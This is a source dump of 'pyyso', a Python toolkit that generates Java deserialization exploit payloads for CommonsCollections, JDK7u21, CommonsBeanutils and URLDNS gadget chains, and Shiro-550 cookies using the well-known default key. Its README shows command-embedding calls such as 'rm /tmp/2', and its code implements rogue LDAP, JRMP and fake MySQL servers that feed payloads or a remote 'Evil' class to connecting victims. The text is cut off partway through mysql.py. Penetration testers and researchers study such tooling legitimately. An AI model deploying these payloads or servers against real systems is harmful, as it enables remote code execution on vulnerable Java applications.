├── .gitignore ├── LICENSE ├── README.md ├── pyproject.toml ├── setup.cfg └── src └── pyyso ├── __init__.py ├── codec ├── __init__.py └── aes.py ├── misc ├── Lease.py ├── ReferenceWrapper_Stub.py └── __init__.py ├── server ├── __init__.py ├── jrmp.py ├── ldap.py ├── mysql.py └── rmi.py └── yso ├── __init__.py ├── beanfactory.py ├── cb1v183.py ├── cb1v192.py ├── cc1.py ├── cc2.py ├── cc3.py ├── cc4.py ├── cc5.py ├── cc6.py ├── cc7.py ├── clazz.py ├── jdk7u21.py ├── jdk8u20.py ├── jrmpclient.py └── urldns.py /.gitignore: -------------------------------------------------------------------------------- 1 | ######################################### 2 | # Editor temporary/working/backup files # 3 | .#* 4 | *\#*\# 5 | [#]*# 6 | *~ 7 | *$ 8 | *.bak 9 | *flymake* 10 | *.iml 11 | *.kdev4 12 | *.log 13 | *.swp 14 | *.pdb 15 | *.zip 16 | .project 17 | .pydevproject 18 | .settings 19 | .idea 20 | .vagrant 21 | .noseids 22 | .ipynb_checkpoints 23 | .tags 24 | .cache/ 25 | .vscode/ 26 | 27 | # Compiled source # 28 | ################### 29 | *.a 30 | *.com 31 | *.class 32 | *.dll 33 | *.exe 34 | *.pxi 35 | *.o 36 | *.py[ocd] 37 | *.so 38 | .build_cache_dir 39 | MANIFEST 40 | 41 | # Python files # 42 | ################ 43 | # setup.py working directory 44 | build 45 | # sphinx build directory 46 | doc/_build 47 | # setup.py dist directory 48 | dist 49 | # Egg metadata 50 | *.egg-info 51 | .eggs 52 | .pypirc 53 | # type checkers 54 | pandas/py.typed 55 | 56 | # tox testing tool 57 | .tox 58 | # rope 59 | .ropeproject 60 | # wheel files 61 | *.whl 62 | **/wheelhouse/* 63 | pip-wheel-metadata 64 | # coverage 65 | .coverage 66 | coverage.xml 67 | coverage_html_report 68 | .mypy_cache 69 | *.pytest_cache 70 | # hypothesis test database 71 | .hypothesis/ 72 | __pycache__ 73 | # pytest-monkeytype 74 | monkeytype.sqlite3 75 | 76 | 77 | # OS generated files # 78 | ###################### 79 | .directory 80 | .gdb_history 81 | .DS_Store 82 | ehthumbs.db 83 | Icon? 84 | Thumbs.db 85 | 86 | # Data files # 87 | ############## 88 | *.dta 89 | *.xpt 90 | *.h5 91 | pandas/io/*.dat 92 | pandas/io/*.json 93 | scikits 94 | 95 | # Generated Sources # 96 | ##################### 97 | !skts.c 98 | !np_datetime.c 99 | !np_datetime_strings.c 100 | *.c 101 | *.cpp 102 | 103 | # Unit / Performance Testing # 104 | ############################## 105 | asv_bench/env/ 106 | asv_bench/html/ 107 | asv_bench/results/ 108 | asv_bench/pandas/ 109 | test-data.xml 110 | 111 | # Documentation generated files # 112 | ################################# 113 | doc/source/generated 114 | doc/source/user_guide/styled.xlsx 115 | doc/source/reference/api 116 | doc/source/_static/*.html 117 | doc/source/vbench 118 | doc/source/vbench.rst 119 | doc/source/index.rst 120 | doc/build/html/index.html 121 | # Windows specific leftover: 122 | doc/tmp.sv 123 | env/ 124 | doc/source/savefig/ -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 grey click 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pyyso: powerful java serialized toolkit 2 | 3 | ## What is it? 4 | **pyyso** is a Python package that provides fast and flexible ways to generate java serialized poc. 5 | It aims to be the fundamental high-level building block for doing vulnerability **check and research** in Python. 6 | Additionally, it has a goal of becoming the most convenient and reliable toolkit implemented in Python for Java researchers 7 | 8 | ## Main Features 9 | Here are just a few of the things that pyyso does well: 10 | 11 | - Easy generating of java serialized poc 12 | - Powerful, flexible functionality to start a LDAP/RMI/JRMP/MySQL server to host java serialized pocs 13 | - Communicating and collaborating with other Python packages 14 | - Won't be exploited back in RMI like java client 15 | 16 | pyyso has implemented 17 | - URLDNS Gadget 18 | - CommonsCollections1-7 Gadgets 19 | - JDK7u21 Gadget 20 | - JDK8u21 Gadget 21 | - CommonsBeanutils1 1.8.3 no cc 22 | - CommonsBeanutils1 1.9.2 23 | - shiro-550 rememberMe deserialized 24 | - java class embed with command 25 | - LDAP server hosting java serialized pocs 26 | - LDAP server hosting java remote reference factory 27 | - RMI server 28 | - high JDK version beanfactory bypass 29 | - JRMP server 30 | - JRMPClient Gadget 31 | - Fake MySQL server for JDBC deserialize 32 | 33 | ## Where to get it 34 | The source code is currently host on GitHub at: 35 | https://github.com/cokeBeer/pyyso 36 | 37 | ## Installation from sources 38 | ```sh 39 | pip install pyyso 40 | ``` 41 | 42 | ## How to use 43 | ### basic usage 44 | 45 | First import pyyso 46 | 47 | ```python 48 | import pyyso 49 | ``` 50 | To generate a java serialized zed poc use: 51 | ```python 52 | pyyso.urldns("https://x.dnslog.com") #return java serialzed data of URLDNS in bytes 53 | pyyso.cc1("touch /tmp/1") #return java serialzed data of CommonsColletions1 in bytes 54 | pyyso.cc2("touch /tmp/1") #return java serialzed data of CommonsColletions2 in bytes 55 | pyyso.jdk7u21("touch /tmp/1") #return java serialzed data of JDK7u21 in bytes 56 | pyyso.jdk8u20("touch /tmp/1") #return java serialzed data of JDK8u20 in bytes 57 | pyyso.jrmpclient("127.0.0.1",80) #return java serialzed data of jrmpclient in bytes 58 | pyyso.cb1v183("touch /tmp/1") #return java serialzed data of CommonsBeanutils1 1.8.3 no cc in bytes 59 | ``` 60 | To generate a java class embed with command use: 61 | ```python 62 | pyyso.clazz("touch /tmp/1") #return java class embed with command in bytes 63 | ``` 64 | ### shiro 65 | 66 | To encode a shiro poc use: 67 | 68 | ```python 69 | serobj=pyyso.cb1v183("touch /tmp/1") 70 | pyyso.shiroEncode(serobj=serobj,key=b'kPH+bIxk5D2deZiIxcaaaA==') 71 | ``` 72 | ### LDAP 73 | 74 | To start a LDAP server hosting java serialized pocs: 75 | 76 | ```python 77 | serobj=pyyso.cc1("touch /tmp/1") 78 | server=pyyso.LdapSerialized(serobj=serobj, ip="0.0.0.0", port=1389) 79 | server.run() 80 | ``` 81 | This will start a LDAP server listening `0.0.0.0:1389` 82 | You can change the hosted java serialized data by: 83 | 84 | ```python 85 | server.serobj=pyyso.cc1("rm /tmp/2") 86 | ``` 87 | To start a LDAP server hosting java remote reference factory: 88 | ```python 89 | server=pyyso.LdapRemoteRef(javaCodeBase="http://127.0.0.1:8088/", javaFactory="Evil", javaClassName="java.lang.String", ip="0.0.0.0", port=1389): 90 | server.run() 91 | ``` 92 | This will start a LDAP server listening `0.0.0.0:1389 ` 93 | and will return a remote reference point to `http://127.0.0.1:8088/Evil.class` 94 | 95 | ### JRMP 96 | 97 | To start a JRMPListener 98 | 99 | ```python 100 | serobj=pyyso.cc1("open /tmp",jrmp=True) #note that there is 'jrmp=True'! 101 | server=pyyso.JRMPListener(serobj=,ip="0.0.0.0", port=5151) 102 | server.run() 103 | ``` 104 | 105 | This will start a JRMPListener listening `0.0.0.0:5151` 106 | 107 | By deserializing a jrmpclient Gadget in victim's server, the victim's server will connect back to JRMPListener. 108 | 109 | the jrmpclient Gadget should be made by: 110 | 111 | ```python 112 | serobj=pyyso.jrmpclient(hostname="127.0.0.1", port=5151) 113 | ``` 114 | 115 | which the hostname is corresponding to where JRMPListener is hosting on 116 | 117 | ### RMI and bypass 118 | 119 | To get a bypass poc, use: 120 | 121 | ```python 122 | serobj=pyyso.beanfactory("open /tmp", rmi=True) 123 | ``` 124 | 125 | To start a RMI server and host bypass poc, use: 126 | 127 | ```python 128 | serobj=pyyso.beanfactory("open /",rmi=True) ##note that there is 'rmi=True'! 129 | server=pyyso.RMIServer(serobj=serobj,ip="0.0.0.0", port=1099, refip="0.0.0.0", refport=42155) 130 | server.run() 131 | ``` 132 | 133 | a registry will listen `0.0.0.0:1099` and a poc provider server will listen `0.0.0.0:42155` 134 | 135 | ### MySQL 136 | 137 | to start a MySQL server hosts JDBC deserialize payload, use: 138 | ```python 139 | serobj=pyyso.cc2("open /") 140 | server=pyyso.MysqlServer(serobj=serobj, ip="0.0.0.0", port=3306) 141 | server.run() 142 | ``` 143 | 144 | a fake MySQL server will listen `0.0.0.0:3306`, and wait for `SHOW STATUS` 145 | 146 | ## Support Options 147 | 148 | For some reasons, part Gadgets support JRMP or RMI now,which can be enabled by `rmi=True` or `jrmp=True` 149 | 150 | | Gadgets | Basic | jrmp option | rmi option | 151 | | ----------- | ----- | ----------- | ---------- | 152 | | CC1-CC7 | ✅ | ✅ | ❌ | 153 | | CB1v192 | ✅ | ✅ | ❌ | 154 | | CB1v183 | ✅ | ✅ | ❌ | 155 | | JDK7u21 | ✅ | ✅ | ❌ | 156 | | beanfactory | ❌ | ❌ | ✅ | 157 | | others | ✅ | ❌ | ❌ | 158 | 159 | ## License 160 | 161 | [MIT](LICENSE) 162 | 163 | ## Inspired by 164 | https://github.com/frohoff/ysoserial 165 | https://github.com/mbechler/marshalsec 166 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools>=42"] 3 | build-backend = "setuptools.build_meta" -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [metadata] 2 | name = pyyso 3 | version = 0.0.10 4 | author = greyclick 5 | author_email = cokeBeer@github.com 6 | description = a java serialized tool written in python 7 | long_description = file: README.md 8 | long_description_content_type = text/markdown 9 | url = https://github.com/pypa/sampleproject 10 | project_urls = 11 | Bug Tracker = https://github.com/cokeBeer/pyyso/issues 12 | classifiers = 13 | Programming Language :: Python :: 3 14 | License :: OSI Approved :: MIT License 15 | Operating System :: OS Independent 16 | 17 | [options] 18 | package_dir = 19 | = src 20 | packages = find: 21 | python_requires = >=3.6 22 | install_requires = pycrypto 23 | 24 | [options.packages.find] 25 | where = src -------------------------------------------------------------------------------- /src/pyyso/__init__.py: -------------------------------------------------------------------------------- 1 | from pyyso.codec import * 2 | from pyyso.yso import * 3 | from pyyso.server import * -------------------------------------------------------------------------------- /src/pyyso/codec/__init__.py: -------------------------------------------------------------------------------- 1 | from pyyso.codec.aes import * 2 | -------------------------------------------------------------------------------- /src/pyyso/codec/aes.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import uuid 3 | from Crypto.Cipher import AES 4 | def shiroEncode(serobj:bytes, key: bytes = b'kPH+bIxk5D2deZiIxcaaaA==')->bytes: 5 | """ 6 | 生成 shiro-550 poc 7 | :param serobj: 序列化对象 8 | :param key: key 9 | :return: base64编码字节串 10 | """ 11 | key=base64.b64decode(key) 12 | BS=len(key) 13 | IV=uuid.uuid4().bytes 14 | #计算余数,补充余数数量的余数字符作为padding 15 | pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode() 16 | cryptor = AES.new(key,AES.MODE_CBC, IV) 17 | ciphertext = cryptor.encrypt(pad(serobj)) 18 | return base64.b64encode(IV+ciphertext) -------------------------------------------------------------------------------- /src/pyyso/misc/Lease.py: -------------------------------------------------------------------------------- 1 | #java.rmi.dgc.Lease 2 | def Lease()->bytes: 3 | return bytes.fromhex("51aced0005770f01c8405df200000180c77b7a838003737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c00037569647400154c6a6176612f726d692f7365727665722f5549443b707870757200025b42acf317f8060854e0020000707870000000083689111ac4dc1c29737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e69717565707870800100000180c77ba999b1538e65") -------------------------------------------------------------------------------- /src/pyyso/misc/ReferenceWrapper_Stub.py: -------------------------------------------------------------------------------- 1 | #com.sun.jndi.rmi.registry.RefeneceWrapper_Stub 2 | def RefeneceWrapper_Stub(hostname:str="127.0.0.1", port:int=51510)->bytes: 3 | prefix="51aced0005770f0165f4139200000180c766364880027372002f636f6d2e73756e2e6a6e64692e726d692e72656769737472792e5265666572656e6365577261707065725f537475620000000000000002020000707872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a020000707872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000070787077" 4 | midfix="000a556e6963617374526566" 5 | postfix="3ebc0b564abdefc265f4139200000180c766364880010178" 6 | host=hostname.encode().hex()+port.to_bytes(4, byteorder="big").hex() 7 | length=(len(midfix+host+postfix)//2+1).to_bytes(1, byteorder="big").hex() 8 | length2=(len(hostname)).to_bytes(2, byteorder="big").hex() 9 | hexdata=prefix+length+midfix+length2+host+postfix 10 | data = bytes.fromhex(hexdata) 11 | return data 12 | -------------------------------------------------------------------------------- /src/pyyso/misc/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cokeBeer/pyyso/ea635baa299dd32e1e21748cee508e9c21350152/src/pyyso/misc/__init__.py -------------------------------------------------------------------------------- /src/pyyso/server/__init__.py: -------------------------------------------------------------------------------- 1 | from pyyso.server.jrmp import * 2 | from pyyso.server.rmi import * 3 | from pyyso.server.mysql import * 4 | from pyyso.server.ldap import ( 5 | LdapSerialized, 6 | LdapRemoteRef 7 | ) 8 | -------------------------------------------------------------------------------- /src/pyyso/server/jrmp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from threading import Thread 3 | 4 | 5 | class JRMPListener(): 6 | def __init__(self, serobj: bytes, ip: str = "0.0.0.0", port: int = 789): 7 | self.serobj = serobj 8 | self.ip = ip 9 | self.port = port 10 | 11 | def __serve(self): 12 | s = socket.socket() 13 | s.bind((self.ip, self.port)) 14 | s.listen(5) 15 | while True: 16 | # 接受客户端 17 | conn, addr = s.accept() 18 | # 接受JRMP请求 19 | conn.recv(7) 20 | # 返回确认信息 21 | conn.send(b"\x4e\x00\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x00\x00\xdd\xa6") 22 | # 接收客户端请求的一个字节 23 | conn.recv(1) 24 | # 再接收一个字节,这个字节标志了客户端请求报文剩下的长度 25 | len1 = conn.recv(1) # 收到的是字节串,要转化成数 26 | # 把字节串转化成数 27 | len1 = ord(len1) 28 | # 接收剩下的请求报文 29 | conn.recv(len1 + 4) 30 | # 接收客户端请求的一个字节 31 | len2 = conn.recv(1) # 收到的是字节串,要转化成数 32 | # 把字节串转化成数 33 | len2 = ord(len2) 34 | # 接收剩下的请求报文 35 | conn.recv(len2) 36 | # 接收451个字节,一般是定长信息,如果有需要可以设置成更小的值 37 | conn.recv(451) 38 | conn.send(self.serobj) 39 | 40 | def run(self): 41 | self.thread = Thread(target=self.__serve) 42 | self.thread.start() 43 | -------------------------------------------------------------------------------- /src/pyyso/server/ldap.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from threading import Thread 3 | 4 | 5 | # 构造报文用的函数 6 | def addAttribute(attrName, attrValue): 7 | msg = b"" 8 | if len(attrValue) >= 0xFF: 9 | len1 = len(attrValue).to_bytes(2, byteorder="big") 10 | msg = b"\x04\x82" + len1 + attrValue + msg 11 | else: 12 | len1 = len(attrValue).to_bytes(1, byteorder="big") 13 | msg = b"\x04" + len1 + attrValue + msg 14 | if len(msg) >= 0xFF: 15 | len2 = len(msg).to_bytes(2, byteorder="big") 16 | msg = b"\x31\x82" + len2 + msg 17 | else: 18 | len2 = len(msg).to_bytes(1, byteorder="big") 19 | msg = b"\x31" + len2 + msg 20 | len3 = len(attrName).to_bytes(1, byteorder="big") 21 | msg = b"\x04" + len3 + attrName + msg 22 | if len(msg) >= 0xFF: 23 | len4 = len(msg).to_bytes(2, byteorder="big") 24 | msg = b"\x30\x82" + len4 + msg 25 | else: 26 | len4 = len(msg).to_bytes(1, byteorder="big") 27 | msg = b"\x30" + len4 + msg 28 | return msg 29 | 30 | 31 | class LdapSerialized(): 32 | """ 33 | 返回序列化数据的ldap服务器 34 | """ 35 | 36 | def __init__(self, serobj: bytes, ip: str = "0.0.0.0", port: int = 1389): 37 | self.serobj = serobj 38 | self.ip = ip 39 | self.port = port 40 | 41 | def __serve(self): 42 | s = socket.socket() 43 | s.bind((self.ip, self.port)) 44 | s.listen(5) 45 | while True: 46 | # 接受客户端 47 | conn, addr = s.accept() 48 | # 接受JNDI请求 49 | conn.recv(14) 50 | # 返回确认信息 51 | conn.send(b"\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00") 52 | # 接收客户端请求的一个字节 53 | conn.recv(1) 54 | # 再接收一个字节,这个字节标志了客户端请求报文剩下的长度 55 | len1 = conn.recv(1) # 收到的是字节串,要转化成数 56 | # 把字节串转化成数 57 | len1 = ord(len1) 58 | # 接收剩下的请求报文 59 | data = conn.recv(len1) 60 | # 获取字符串的长度 61 | len2 = data[6] # 字节串里面截取出来自动变成数 62 | # 保存请求的类名称 63 | classname = data[7:7 + len2] 64 | # 构造报文 65 | serobj = self.serobj 66 | msg1 = addAttribute(b"javaSerializedData", serobj) 67 | msg2 = addAttribute(b"javaClassName", b"java.lang.String") 68 | msg = msg2 + msg1 69 | if len(msg) >= 0xFF: 70 | len3 = len(msg).to_bytes(2, byteorder="big") 71 | msg = b"\x04" + len2.to_bytes(1, byteorder="big") + classname + b"\x30\x82" + len3 + msg 72 | else: 73 | len3 = len(msg).to_bytes(1, byteorder="big") 74 | msg = b"\x04" + len2.to_bytes(1, byteorder="big") + classname + b"\x30" + len3 + msg 75 | if len(msg) >= 0xFF: 76 | len4 = len(msg).to_bytes(2, byteorder="big") 77 | msg = b"\x02\x01\x02\x64\x82" + len4 + msg 78 | else: 79 | len4 = len(msg).to_bytes(1, byteorder="big") 80 | msg = b"\x02\x01\x02\x64" + len4 + msg 81 | if len(msg) >= 0xFF: 82 | len5 = len(msg).to_bytes(2, byteorder="big") 83 | msg = b"\x30\x82" + len5 + msg 84 | else: 85 | len5 = len(msg).to_bytes(1, byteorder="big") 86 | msg = b"\x30" + len5 + msg 87 | # 发送 88 | conn.send(msg) 89 | # 结束通信,这是必须的 90 | conn.send(b"\x30\x0c\x02\x01\x02\x65\x07\x0a\x01\x00\x04\x00\x04\x00") 91 | conn.recv(36) 92 | 93 | def run(self): 94 | self.thread = Thread(target=self.__serve) 95 | self.thread.start() 96 | 97 | 98 | class LdapRemoteRef(): 99 | """ 100 | 返回remote reference的ldap服务器 101 | 其中参数javaFactory是放置在http服务器上的类名 102 | """ 103 | 104 | def __init__(self, javaCodeBase: str = "http://127.0.0.1:8088/", javaFactory: str = "Evil", 105 | javaClassName: str = "java.lang.String", ip: str = "0.0.0.0", port: int = 1389): 106 | self.javaCodeBase = javaCodeBase.encode() 107 | self.javaFactory = javaFactory.encode() 108 | self.ip = ip 109 | self.port = port 110 | self.javaClassName = javaClassName.encode() 111 | 112 | def __serve(self): 113 | s = socket.socket() 114 | s.bind((self.ip, self.port)) 115 | s.listen(5) 116 | while True: 117 | # 接受客户端 118 | conn, addr = s.accept() 119 | # 接受JNDI请求 120 | conn.recv(14) 121 | # 返回确认信息 122 | conn.send(b"\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00") 123 | # 接收客户端请求的一个字节 124 | conn.recv(1) 125 | # 再接收一个字节,这个字节标志了客户端请求报文剩下的长度 126 | len1 = conn.recv(1) # 收到的是字节串,要转化成数 127 | # 把字节串转化成数 128 | len1 = ord(len1) 129 | # 接收剩下的请求报文 130 | data = conn.recv(len1) 131 | # 获取字符串的长度 132 | len2 = data[6] # 字节串里面截取出来自动变成数 133 | # 保存请求的类名称 134 | classname = data[7:7 + len2] 135 | # 构造报文 136 | msg1 = addAttribute(b"javaFactory", self.javaFactory) 137 | msg2 = addAttribute(b"objectClass", b"javaNamingReference") 138 | msg3 = addAttribute(b"javaCodeBase", self.javaCodeBase) 139 | msg4 = addAttribute(b"javaClassName", self.javaClassName) 140 | msg = msg4 + msg3 + msg2 + msg1 141 | len3 = len(msg).to_bytes(1, byteorder="big") 142 | msg = b"\x04" + len2.to_bytes(1, byteorder="big") + classname + b"\x30\x81" + len3 + msg 143 | len4 = len(msg).to_bytes(1, byteorder="big") 144 | msg = b"\x02\x01\x02\x64\x81" + len4 + msg 145 | len5 = len(msg).to_bytes(1, byteorder="big") 146 | msg = b"\x30\x81" + len5 + msg 147 | # 发送 148 | conn.send(msg) 149 | # 结束通信,这是必须的 150 | conn.send(b"\x30\x0c\x02\x01\x02\x65\x07\x0a\x01\x00\x04\x00\x04\x00") 151 | conn.recv(36) 152 | 153 | def run(self): 154 | """ 155 | 使用这个启动服务器 156 | """ 157 | self.thread = Thread(target=self.__serve) 158 | self.thread.start() 159 | -------------------------------------------------------------------------------- /src/pyyso/server/mysql.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from threading import Thread 3 | 4 | 5 | class MysqlServer(): 6 | def __init__(self, serobj: bytes, ip: str = "0.0.0.0", port: int = 3307): 7 | self.serobj = serobj 8 | self.ip = ip 9 | self.port = port 10 | 11 | def __serve(self): 12 | s = socket.socket() 13 | s.bind((self.ip, self.port)) 14 | s.listen(5) 15 | while True: 16 | # 接受客户端 17 | conn, addr = s.accept() 18 | conn.send(b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x32\x33\x00\x16\x00\x00\x00" \ 19 | + b"\x49\x6d\x28\x32\x4e\x76\x36\x02\x00\xff\xff\xff\x02\x00\xff\xcf" \ 20 | + b"\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x32\x37\x43\x17\x4d" \ 21 | + b"\x01\x63\x39\x1b\x23\x0a\x44\x00\x63\x61\x63\x68\x69\x6e\x67\x5f" \ 22 | + b"\x73\x68\x61\x32\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00") 23 | len1 = conn.recv(3) 24 | len1 = int.from_bytes(len1, byteorder="little") 25 | conn.recv(len1 + 1) 26 | conn.send(b"\x07\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00") 27 | len3 = conn.recv(3) 28 | len3 = int.from_bytes(len3, byteorder="little") 29 | conn.recv(len3 + 1) 30 | conn.send(b"\x01\x00\x00\x01\x11\x2e\x00\x00" \ 31 | + b"\x02\x03\x64\x65\x66\x00\x00\x00\x18\x61\x75\x74\x6f\x5f\x69\x6e" \ 32 | + b"\x63\x72\x65\x6d\x65\x6e\x74\x5f\x69\x6e\x63\x72\x65\x6d\x65\x6e" \ 33 | + b"\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x2a" \ 34 | + b"\x00\x00\x03\x03\x64\x65\x66\x00\x00\x00\x14\x63\x68\x61\x72\x61" \ 35 | + b"\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x63\x6c\x69\x65\x6e\x74\x00" \ 36 | + b"\x0c\x21\x00\xff\xff\x00\x00\xfd\x00\x00\x1f\x00\x00\x2e\x00\x00" \ 37 | + b"\x04\x03\x64\x65\x66\x00\x00\x00\x18\x63\x68\x61\x72\x61\x63\x74" \ 38 | + b"\x65\x72\x5f\x73\x65\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f" \ 39 | + b"\x6e\x00\x0c\x21\x00\xff\xff\x00\x00\xfd\x00\x00\x1f\x00\x00\x2b" \ 40 | + b"\x00\x00\x05\x03\x64\x65\x66\x00\x00\x00\x15\x63\x68\x61\x72\x61" \ 41 | + b"\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x72\x65\x73\x75\x6c\x74\x73" \ 42 | + b"\x00\x0c\x21\x00\xff\xff\x00\x00\xfd\x00\x00\x1f\x00\x00\x2a\x00" \ 43 | + b"\x00\x06\x03\x64\x65\x66\x00\x00\x00\x14\x63\x68\x61\x72\x61\x63" \ 44 | + b"\x74\x65\x72\x5f\x73\x65\x74\x5f\x73\x65\x72\x76\x65\x72\x00\x0c" \ 45 | + b"\x21\x00\xff\xff\x00\x00\xfd\x00\x00\x1f\x00\x00\x26\x00\x00\x07" \ 46 | + b"\x03\x64\x65\x66\x00\x00\x00\x10\x63\x6f\x6c\x6c\x61\x74\x69\x6f" \ 47 | + b"\x6e\x5f\x73\x65\x72\x76\x65\x72\x00\x0c\x21\x00\xff\xff\x00\x00" \ 48 | + b"\xfd\x00\x00\x1f\x00\x00\x22\x00\x00\x08\x03\x64\x65\x66\x00\x00" \ 49 | + b"\x00\x0c\x69\x6e\x69\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x00\x0c" \ 50 | + b"\x21\x00\xff\xff\x00\x00\xfd\x00\x00\x1f\x00\x00\x29\x00\x00\x09" \ 51 | + b"\x03\x64\x65\x66\x00\x00\x00\x13\x69\x6e\x74\x65\x72\x61\x63\x74" \ 52 | + b"\x69\x76\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15" \ 53 | + b"\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x1d\x00\x00\x0a\x03\x64\x65" \ 54 | + b"\x66\x00\x00\x00\x07\x6c\x69\x63\x65\x6e\x73\x65\x00\x0c\x21\x00" \ 55 | + b"\xff\xff\x00\x00\xfd\x00\x00\x1f\x00\x00\x2c\x00\x00\x0b\x03\x64" \ 56 | + b"\x65\x66\x00\x00\x00\x16\x6c\x6f\x77\x65\x72\x5f\x63\x61\x73\x65" \ 57 | + b"\x5f\x74\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x73\x00\x0c\x3f\x00" \ 58 | + b"\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x28\x00\x00\x0c\x03\x64" \ 59 | + b"\x65\x66\x00\x00\x00\x12\x6d\x61\x78\x5f\x61\x6c\x6c\x6f\x77\x65" \ 60 | + b"\x64\x5f\x70\x61\x63\x6b\x65\x74\x00\x0c\x3f\x00\x15\x00\x00\x00" \ 61 | + b"\x08\xa0\x00\x00\x00\x00\x27\x00\x00\x0d\x03\x64\x65\x66\x00\x00" \ 62 | + b"\x00\x11\x6e\x65\x74\x5f\x77\x72\x69\x74\x65\x5f\x74\x69\x6d\x65" \ 63 | + b"\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00" \ 64 | + b"\x00\x1e\x00\x00\x0e\x03\x64\x65\x66\x00\x00\x00\x08\x73\x71\x6c" \ 65 | + b"\x5f\x6d\x6f\x64\x65\x00\x0c\x21\x00\xff\xff\x00\x00\xfd\x00\x00" \ 66 | + b"\x1f\x00\x00\x26\x00\x00\x0f\x03\x64\x65\x66\x00\x00\x00\x10\x73" \ 67 | + b"\x79\x73\x74\x65\x6d\x5f\x74\x69\x6d\x65\x5f\x7a\x6f\x6e\x65\x00" \ 68 | + b"\x0c\x21\x00\xff\xff\x00\x00\xfd\x00\x00\x1f\x00\x00\x1f\x00\x00" \ 69 | + b"\x10\x03\x64\x65\x66\x00\x00\x00\x09\x74\x69\x6d\x65\x5f\x7a\x6f" \ 70 | + b"\x6e\x65\x00\x0c\x21\x00\xff\xff\x00\x00\xfd\x00\x00\x1f\x00\x00" \ 71 | + b"\x2b\x00\x00\x11\x03\x64\x65\x66\x00\x00\x00\x15\x74\x72\x61\x6e" \ 72 | + b"\x73\x61\x63\x74\x69\x6f\x6e\x5f\x69\x73\x6f\x6c\x61\x74\x69\x6f" \ 73 | + b"\x6e\x00\x0c\x21\x00\xff\xff\x00\x00\xfd\x00\x00\x1f\x00\x00\x22" \ 74 | + b"\x00\x00\x12\x03\x64\x65\x66\x00\x00\x00\x0c\x77\x61\x69\x74\x5f" \ 75 | + b"\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08" \ 76 | + b"\xa0\x00\x00\x00\x00\xdc\x00\x00\x13\x01\x31\x04\x75\x74\x66\x38" \ 77 | + b"\x04\x75\x74\x66\x38\x04\x75\x74\x66\x38\x07\x75\x74\x66\x38\x6d" \ 78 | + b"\x62\x34\x12\x75\x74\x66\x38\x6d\x62\x34\x5f\x30\x39\x30\x30\x5f" \ 79 | + b"\x61\x69\x5f\x63\x69\x00\x05\x32\x38\x38\x30\x30\x03\x47\x50\x4c" \ 80 | + b"\x01\x32\x08\x36\x37\x31\x30\x38\x38\x36\x34\x02\x36\x30\x75\x4f" \ 81 | + b"\x4e\x4c\x59\x5f\x46\x55\x4c\x4c\x5f\x47\x52\x4f\x55\x50\x5f\x42" \ 82 | + b"\x59\x2c\x53\x54\x52\x49\x43\x54\x5f\x54\x52\x41\x4e\x53\x5f\x54" \ 83 | + b"\x41\x42\x4c\x45\x53\x2c\x4e\x4f\x5f\x5a\x45\x52\x4f\x5f\x49\x4e" \ 84 | + b"\x5f\x44\x41\x54\x45\x2c\x4e\x4f\x5f\x5a\x45\x52\x4f\x5f\x44\x41" \ 85 | + 